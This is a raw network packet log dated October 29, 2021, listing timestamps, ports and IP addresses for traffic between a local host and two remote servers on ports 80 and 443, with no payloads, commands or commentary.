Oct 29, 2021 20:10:37.511667013 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.511678934 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.511868954 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.511907101 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.511934996 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.511945963 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512022972 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512041092 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512058973 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512073994 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512085915 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512101889 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512111902 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512128115 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512144089 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512159109 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512166023 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512181997 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512197018 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512207031 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512222052 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512243986 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512249947 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512265921 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512281895 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512293100 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512305021 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512326002 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512331009 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512346983 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512362957 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512373924 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512387037 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512401104 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512411118 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512429953 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512444973 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512459993 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512475014 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512484074 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512499094 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512515068 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512522936 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512540102 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512554884 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512566090 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512578011 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512592077 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512602091 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512617111 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512634039 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512650013 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512665033 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512675047 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512691021 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512707949 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512715101 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512729883 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512737989 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512753010 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512768030 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512784958 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512793064 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512810946 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512815952 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512834072 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512839079 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512865067 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512881994 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512893915 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512914896 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512929916 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512938023 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512953997 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.512964964 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.512978077 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.513020039 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.566885948 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.566915989 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.566927910 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.566940069 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.566951990 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.566963911 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.566976070 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.566987991 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567003012 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567017078 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567034960 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567047119 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567059994 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567076921 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567085981 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567101002 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567117929 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567133904 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567142010 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567153931 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567166090 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567183018 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567198992 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567209005 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567245960 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567270994 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567286968 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567298889 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567311049 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567327023 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567336082 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567352057 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567359924 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567377090 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567393064 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567404985 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567413092 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567430973 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567434072 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567447901 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567460060 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567476988 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567492962 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567501068 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567517042 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567523003 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567536116 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567544937 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567559004 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567578077 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567584038 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567599058 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567615032 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567631960 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567640066 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567656040 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567662001 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567678928 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567696095 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567708969 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567720890 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567735910 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567744970 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567759037 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567776918 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567792892 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567800045 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567817926 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567827940 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567842007 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567859888 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567864895 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.567881107 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.567915916 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.568485022 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.568506002 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.568519115 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.568533897 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.568547010 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.568552971 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.568571091 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.568592072 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.568627119 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.568731070 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.568754911 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.568783045 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.568800926 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.568816900 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.568830967 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.568840027 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.568862915 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.568875074 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.611129045 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.621587038 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.621606112 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.621623993 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.621639013 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.621654034 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.621668100 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.621685028 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.621692896 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.621707916 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.621722937 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.621731043 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.621764898 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.621802092 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.621819019 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.621834993 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.621850967 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.621867895 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.621876955 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.621891975 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.621901035 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.621916056 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.621932983 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.621939898 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.621956110 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.621970892 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.621989965 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.621994972 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.622009993 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622019053 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.622034073 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622050047 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622059107 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.622072935 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622088909 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.622097015 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622113943 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622133017 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622138977 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.622168064 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.622267008 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622283936 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622298956 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622313976 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622324944 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.622338057 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622354984 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622365952 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622410059 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622426987 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622435093 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.622443914 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.622457981 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622473955 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622483015 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.622498035 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622513056 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622522116 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.622536898 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622544050 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.622560024 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622577906 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622582912 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.622610092 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.622710943 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622725964 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622802019 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622817993 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622831106 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.622847080 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622869968 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.622878075 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622894049 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622909069 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622931957 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.622955084 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.622971058 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.622986078 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.623002052 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.623017073 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.623025894 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.623040915 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.623059988 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.623065948 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.623080969 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.623096943 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.623104095 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.623120070 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.623128891 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.623142004 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:37.623186111 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.623366117 CEST	49798	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:37.679573059 CEST	80	49798	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:38.684748888 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:38.684791088 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:38.685033083 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:38.751737118 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:38.751761913 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:38.795536041 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:38.795686960 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:38.802190065 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:38.802212000 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:38.803009987 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:38.851402998 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.506731033 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.548873901 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.551196098 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.551286936 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.551362991 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.551372051 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.551410913 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.551449060 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.551521063 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.551568031 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.552215099 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.552236080 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.552252054 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.552257061 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.552263021 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.552267075 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.552272081 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.552287102 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.552309990 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.552325010 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.552340031 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.552371979 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.552377939 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.552434921 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.552447081 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.552524090 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.552532911 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.552541018 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.552582979 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.552584887 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.552594900 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.552639961 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.552645922 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.552685022 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.552728891 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.552736044 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.552745104 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.552784920 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.568016052 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.568114042 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.568186045 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.568223953 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.568249941 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.568902016 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.568972111 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.568989992 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.569001913 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.569020033 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.569030046 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.569077015 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.569086075 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.569097996 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.569133043 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.569200993 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.569245100 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.569255114 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.569267988 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.569289923 CEST	443	49804	162.159.130.233	192.168.2.5
Oct 29, 2021 20:10:39.569314957 CEST	49804	443	192.168.2.5	162.159.130.233
Oct 29, 2021 20:10:39.569350958 CEST	49804	443	192.168.2.5	162.159.130.233
